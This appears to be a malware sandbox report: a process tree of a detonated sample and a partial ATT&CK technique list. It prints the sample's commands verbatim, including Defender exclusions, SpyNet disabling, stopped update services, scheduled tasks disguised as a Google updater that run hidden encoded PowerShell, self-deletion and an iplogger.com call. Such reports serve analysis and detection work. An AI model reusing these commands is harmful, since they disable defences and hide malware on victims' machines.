      Executes dropped EXE
      PID:4412
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2520
    - - C:\Users\Admin\Pictures\8yenbQ2aNvJss1Rn94KsWMwL.exe
        
        "C:\Users\Admin\Pictures\8yenbQ2aNvJss1Rn94KsWMwL.exe"
        5⤵
        
        PID:4992
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:5444
  - - C:\Users\Admin\Pictures\8au7TfbOVHq7gqgRjN48Yzio.exe
      "C:\Users\Admin\Pictures\8au7TfbOVHq7gqgRjN48Yzio.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:1352
    - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1untilmathematicsproie1.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1untilmathematicsproie1.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:5116
      - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1untilmathematicspro.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1untilmathematicspro.exe
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:1984
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\untilmathematics.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\untilmathematics.exe
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5172
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\untilmathematics.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\untilmathematics.exe
        8⤵
        
        PID:6024
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\untilmathematics.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\untilmathematics.exe
        8⤵
        
        PID:4572
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c timeout /nobreak /t 3 & fsutil file setZeroData offset=0 length=5631 "C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\untilmathematics.exe" & erase "C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\untilmathematics.exe" & exit
        9⤵
        
        PID:5416
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /nobreak /t 3
        10⤵
        Delays execution with timeout.exe
        
        PID:3588
        
        C:\Windows\SysWOW64\fsutil.exe
        
        fsutil file setZeroData offset=0 length=5631 "C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\untilmathematics.exe"
        10⤵
        
        PID:2168
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\untilmathematiics.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\untilmathematiics.exe
        7⤵
        
        PID:5664
  - - C:\Users\Admin\Pictures\HModc7c5VOThmRdOgeHZMPsl.exe
      "C:\Users\Admin\Pictures\HModc7c5VOThmRdOgeHZMPsl.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4344
  - - C:\Users\Admin\Pictures\AHObJSJY3d6LuDUlK83S3fUm.exe
      "C:\Users\Admin\Pictures\AHObJSJY3d6LuDUlK83S3fUm.exe"
      4⤵
      Executes dropped EXE
      PID:5024
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4532
    - - C:\Users\Admin\Pictures\AHObJSJY3d6LuDUlK83S3fUm.exe
        
        "C:\Users\Admin\Pictures\AHObJSJY3d6LuDUlK83S3fUm.exe"
        5⤵
        
        PID:636
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:5476
  - - C:\Users\Admin\Pictures\iSDrSrJAqe3J4quO0kd3nlQX.exe
      "C:\Users\Admin\Pictures\iSDrSrJAqe3J4quO0kd3nlQX.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      PID:5092
  - - C:\Users\Admin\Pictures\kBk9kmz6UfTZJlIGCCniCxC0.exe
      "C:\Users\Admin\Pictures\kBk9kmz6UfTZJlIGCCniCxC0.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4876
    - - C:\Users\Admin\AppData\Local\Temp\7zS1B92.tmp\Install.exe
        
        .\Install.exe
        5⤵
        Executes dropped EXE
        
        PID:3876
      - C:\Users\Admin\AppData\Local\Temp\7zS2778.tmp\Install.exe
        
        .\Install.exe /dcCcdidRiisJ "385118" /S
        6⤵
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Drops file in System32 directory
        Enumerates system info in registry
        
        PID:4960
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        7⤵
        
        PID:5432
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        8⤵
        
        PID:5692
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        9⤵
        
        PID:6080
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        9⤵
        
        PID:5060
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        7⤵
        
        PID:5544
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        8⤵
        
        PID:1260
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        9⤵
        
        PID:5472
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        9⤵
        
        PID:3708
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gXMdZqzjW" /SC once /ST 04:10:04 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        7⤵
        Creates scheduled task(s)
        
        PID:5448
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gXMdZqzjW"
        7⤵
        
        PID:1800
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gXMdZqzjW"
        7⤵
        
        PID:2852
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bwpFiyeZPJPVdaMxTt" /SC once /ST 08:56:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\qfiwemQmHAngVYpEP\nfIxQMeJQCLipql\MzEFCjy.exe\" 3Y /zksite_idHQJ 385118 /S" /V1 /F
        7⤵
        Creates scheduled task(s)
        
        PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4512
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:4052
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:5524
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:5752
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5884
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5928
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:5948
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:5984
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:6104
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2632
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5308
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5444
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5552
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\iacrcjwhmdyc.xml"
  2⤵
  - Creates scheduled task(s)
  PID:4120
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Modifies data under HKEY_USERS
  PID:388
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:6104
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:5496
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3484
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5268
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3860
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:5668
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:5912
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:6120
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:5548
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4952
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1176
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\iacrcjwhmdyc.xml"
  2⤵
  - Creates scheduled task(s)
  PID:2148
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:5136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:4940
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:5384
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\hfquevqyxqbr.xml"
  2⤵
  - Creates scheduled task(s)
  PID:4788
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:1976

C:\Windows\SYSTEM32\cmd.exe
cmd /c lophime.bat
1⤵
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.com/2TPq55
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2992
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff922e546f8,0x7ff922e54708,0x7ff922e54718
    3⤵
    PID:3720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 /prefetch:3
    3⤵
    PID:2292
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2132 /prefetch:2
    3⤵
    PID:4628
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2696 /prefetch:8
    3⤵
    PID:4920
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3244 /prefetch:1
    3⤵
    PID:1092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
    3⤵
    PID:3324
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4232 /prefetch:1
    3⤵
    PID:4736
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3904 /prefetch:1
    3⤵
    PID:3860
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5496 /prefetch:1
    3⤵
    PID:5768
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3916 /prefetch:1
    3⤵
    PID:5776
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5148 /prefetch:8
    3⤵
    PID:952
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5148 /prefetch:8
    3⤵
    PID:3464
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4412 /prefetch:8
    3⤵
    PID:564
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5820 /prefetch:8
    3⤵
    - Modifies registry class
    PID:6136
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=media.mojom.MediaFoundationService --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --service-sandbox-type=mf_cdm --mojo-platform-channel-handle=4436 /prefetch:8
    3⤵
    PID:4716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4416 /prefetch:1
    3⤵
    PID:4652
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7719747364406574535,16941167220035062977,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
    3⤵
    PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5596

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5400

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5580

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:5744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:3532
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:3528
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:5720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1232 -ip 1232
1⤵
PID:1008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1672

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4668

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
1⤵
PID:3324

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:2488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery